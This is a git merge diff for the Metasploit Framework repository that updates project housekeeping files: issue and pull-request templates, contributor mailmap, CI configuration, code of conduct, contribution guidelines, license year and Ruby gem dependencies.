Merge remote-tracking branch 'refs/remotes/rapid7/master'
h00die
commit
488f93d213
|
|
@ -0,0 +1,41 @@
|
|||
## Steps to reproduce
|
||||
|
||||
How'd you do it?
|
||||
|
||||
1. ...
|
||||
2. ...
|
||||
|
||||
This section should also tell us any relevant information about the
|
||||
environment; for example, if an exploit that used to work is failing,
|
||||
tell us the victim operating system and service versions.
|
||||
|
||||
## Expected behavior
|
||||
|
||||
What should happen?
|
||||
|
||||
## Current behavior
|
||||
|
||||
What happens instead?
|
||||
|
||||
You might also want to check the last ~1k lines of
|
||||
`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or
|
||||
`~/.msf4/logs/framework.log` for relevant stack traces
|
||||
|
||||
|
||||
## System stuff
|
||||
|
||||
### Metasploit version
|
||||
|
||||
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
|
||||
|
||||
### I installed Metasploit with:
|
||||
- [ ] Kali package via apt
|
||||
- [ ] Omnibus installer (nightly)
|
||||
- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
|
||||
- [ ] Source install (please specify ruby version)
|
||||
|
||||
### OS
|
||||
|
||||
What OS are you running Metasploit on?
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
|
||||
Tell us what this change does. If you're fixing a bug, please mention
|
||||
the github issue number.
|
||||
|
||||
## Verification
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/windows/smb/ms08_067_netapi`
|
||||
- [ ] ...
|
||||
- [ ] **Verify** the thing does what it should
|
||||
- [ ] **Verify** the thing does not do what it should not
|
||||
|
||||
|
|
@ -68,6 +68,8 @@ external/source/exploits/**/Release
|
|||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
|
|
|
|||
147
.mailmap
147
.mailmap
|
|
@ -1,49 +1,45 @@
|
|||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
ccatalan-r7 <ccatalan-r7@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <techpeace@gmail.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
parzamendi-r7 <parzamendi-r7@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
|
@ -55,6 +51,8 @@ wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
|||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
|
||||
|
|
@ -66,47 +64,67 @@ Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
|||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
claudijd <claudijd@github> Jonathan Claudius <claudijd@yahoo.com>
|
||||
claudijd <claudijd@github> Jonathan Claudius <jclaudius@trustwave.com>
|
||||
corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
|
||||
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
|
||||
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
||||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
|
||||
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
|
||||
jcran <jcran@github> <jcran@0x0e.org>
|
||||
jcran <jcran@github> <jcran@pentestify.com>
|
||||
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||
jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> joe <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
|
||||
joevennix <joevennix@github> joev <joev@metasploit.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
|
||||
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com>
|
||||
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
||||
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
||||
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
||||
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
|
||||
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
|
||||
ohdae <ohdae@github> ohdae <bindshell@live.com>
|
||||
oj <oj@github> OJ <oj@buffered.io>
|
||||
oj <oj@github> OJ Reeves <oj@buffered.io>
|
||||
oj <oj@github> <oj@buffered.io>
|
||||
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
||||
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
rep <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
rep <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
|
|
@ -114,14 +132,25 @@ scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
|||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
timwr <timwr@github> Tim <timrlw@gmail.com>
|
||||
timwr <timwr@github> Tim Wright <timrlw@gmail.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
void-in <void-in@github> root <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
|
|
|
|||
|
|
@ -1 +1 @@
|
|||
2.1.6
|
||||
2.1.8
|
||||
|
|
|
|||
23
.travis.yml
23
.travis.yml
|
|
@ -1,11 +1,22 @@
|
|||
sudo: false
|
||||
group: stable
|
||||
bundler_args: --without coverage development pcap
|
||||
cache: bundler
|
||||
addons:
|
||||
postgresql: '9.3'
|
||||
apt:
|
||||
packages:
|
||||
- libpcap-dev
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.1.8'
|
||||
|
||||
env:
|
||||
- RAKE_TASKS="cucumber cucumber:boot"
|
||||
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
language: ruby
|
||||
matrix:
|
||||
fast_finish: true
|
||||
before_install:
|
||||
|
|
@ -23,9 +34,6 @@ before_script:
|
|||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '2.1.6'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
@ -37,7 +45,4 @@ git:
|
|||
branches:
|
||||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
||||
addons:
|
||||
postgresql: '9.3'
|
||||
- metakitty
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
# Contributor Code of Conduct
|
||||
|
||||
As contributors and maintainers of this project, and in the interest of
|
||||
fostering an open and welcoming community, we pledge to respect all people who
|
||||
contribute through reporting issues, posting feature requests, updating
|
||||
documentation, submitting pull requests or patches, and other activities.
|
||||
|
||||
We are committed to making participation in this project a harassment-free
|
||||
experience for everyone, regardless of level of experience, gender, gender
|
||||
identity and expression, sexual orientation, disability, personal appearance,
|
||||
body size, race, ethnicity, age, religion, or nationality.
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
* The use of sexualized language or imagery
|
||||
* Personal attacks
|
||||
* Trolling or insulting/derogatory comments
|
||||
* Public or private harassment
|
||||
* Publishing other's private information, such as physical or electronic
|
||||
addresses, without explicit permission
|
||||
* Other unethical or unprofessional conduct
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or
|
||||
reject comments, commits, code, wiki edits, issues, and other contributions
|
||||
that are not aligned to this Code of Conduct, or to ban temporarily or
|
||||
permanently any contributor for other behaviors that they deem inappropriate,
|
||||
threatening, offensive, or harmful.
|
||||
|
||||
By adopting this Code of Conduct, project maintainers commit themselves to
|
||||
fairly and consistently applying these principles to every aspect of managing
|
||||
this project. Project maintainers who do not follow or enforce the Code of
|
||||
Conduct may be permanently removed from the project team.
|
||||
|
||||
This Code of Conduct applies both within project spaces and in public spaces
|
||||
when an individual is representing the project or its community.
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
egypt@metasploit.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
Maintainers are obligated to maintain confidentiality with regard to the
|
||||
reporter of an incident.
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
||||
version 1.3.0, available at
|
||||
[http://contributor-covenant.org/version/1/3/0/][version]
|
||||
|
||||
[homepage]: http://contributor-covenant.org
|
||||
[version]: http://contributor-covenant.org/version/1/3/0/
|
||||
|
|
@ -37,6 +37,7 @@ and Metasploit's [Common Coding Mistakes].
|
|||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
|
@ -51,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
|
@ -97,7 +98,7 @@ already way ahead of the curve, so keep it up!
|
|||
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
|
|
|
|||
12
COPYING
12
COPYING
|
|
@ -1,19 +1,19 @@
|
|||
Copyright (C) 2006-2015, Rapid7, Inc.
|
||||
Copyright (C) 2006-2016, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
this list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
|
|
|
|||
15
Gemfile
15
Gemfile
|
|
@ -11,10 +11,6 @@ group :coverage do
|
|||
gem 'simplecov'
|
||||
end
|
||||
|
||||
group :db do
|
||||
gemspec name: 'metasploit-framework-db'
|
||||
end
|
||||
|
||||
group :development do
|
||||
# Markdown formatting for yard
|
||||
gem 'redcarpet'
|
||||
|
|
@ -22,24 +18,19 @@ group :development do
|
|||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry'
|
||||
# rails-upgrade staging gems
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails', '~> 4.5.0'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
gem 'fivemat', '~> 1.3.1'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake', '>= 10.0.0'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12', '< 3.0.0'
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
|
||||
end
|
||||
|
||||
group :pcap do
|
||||
gemspec name: 'metasploit-framework-pcap'
|
||||
gem 'rspec-rails' , '~> 3.3'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
|
|
|||
144
Gemfile.lock
144
Gemfile.lock
|
|
@ -1,35 +1,34 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.4)
|
||||
metasploit-framework (4.11.17)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
filesize
|
||||
jsobfu (~> 0.4.1)
|
||||
json
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.7)
|
||||
metasm (~> 1.0.2)
|
||||
metasploit-concern
|
||||
metasploit-credential (= 1.1.0)
|
||||
metasploit-model (= 1.1.0)
|
||||
metasploit-payloads (= 1.1.3)
|
||||
metasploit_data_models (= 1.3.0)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
openssl-ccm (= 1.2.1)
|
||||
packetfu (= 1.1.11)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
railties
|
||||
rb-readline-r7
|
||||
recog (= 2.0.6)
|
||||
recog (= 2.0.14)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
tzinfo
|
||||
metasploit-framework-db (4.11.4)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (= 1.0.0)
|
||||
metasploit-framework (= 4.11.4)
|
||||
metasploit_data_models (= 1.2.5)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.4)
|
||||
metasploit-framework (= 4.11.4)
|
||||
network_interface (~> 0.0.1)
|
||||
pcaprub
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
|
|
@ -59,13 +58,13 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo (~> 0.3.37)
|
||||
arel (4.0.2)
|
||||
arel-helpers (2.1.0)
|
||||
arel-helpers (2.2.0)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
aruba (0.6.2)
|
||||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.10)
|
||||
bcrypt (3.1.11)
|
||||
builder (3.1.4)
|
||||
capybara (2.4.4)
|
||||
mime-types (>= 1.16)
|
||||
|
|
